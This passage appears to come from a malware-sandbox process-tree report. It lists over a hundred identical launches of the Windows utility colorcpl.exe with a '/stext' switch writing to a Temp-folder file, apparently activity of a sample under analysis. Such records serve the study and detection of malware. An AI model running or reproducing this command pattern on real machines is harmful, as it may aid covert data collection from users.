      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7836
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7844
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7852
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7860
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7868
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7876
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7884
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7892
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7900
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7908
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7916
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7924
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7932
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7940
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7948
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7956
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7964
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7972
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7980
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7988
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7996
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8004
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8012
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8020
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8028
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8036
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8044
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8052
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8060
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8068
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8076
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8084
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8092
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8100
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8108
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8116
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8124
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8132
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8140
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8148
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8156
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8164
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8172
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8180
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8188
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7620
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3772
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8200
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8208
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8216
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8224
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8232
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8240
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8248
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8256
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8264
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8272
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8280
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8288
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8296
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8304
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8312
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8320
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8328
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8336
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8344
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8352
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8360
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8368
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8376
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8384
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8392
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8400
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8408
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8416
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8424
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8432
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8440
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8448
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8456
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8464
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8472
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8480
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8488
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8496
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8504
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8512
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8520
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8528
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8536
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8544
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8552
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8560
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8568
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8576
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8584
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8592
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8600
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8608
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8616
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8624
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8632
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8640
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8648
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8656
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8664
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8672
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8680
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8688
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8696
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8704
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8712
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8720
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8728
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8736
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8744
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8752
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8760
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8768
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8776
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8784
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8792
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8800
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8808
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8816
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8824
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8832
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8840
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8848
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8856
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8864
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8872
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8880
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8888
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8896
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8904
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8912
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8920
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8928
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8936
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8944
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8952
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8960
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8968
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8976
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8984
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8992
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9000
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9008
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9016
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9024
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9032
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9040
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9048
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9056
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9064
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9072
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9080
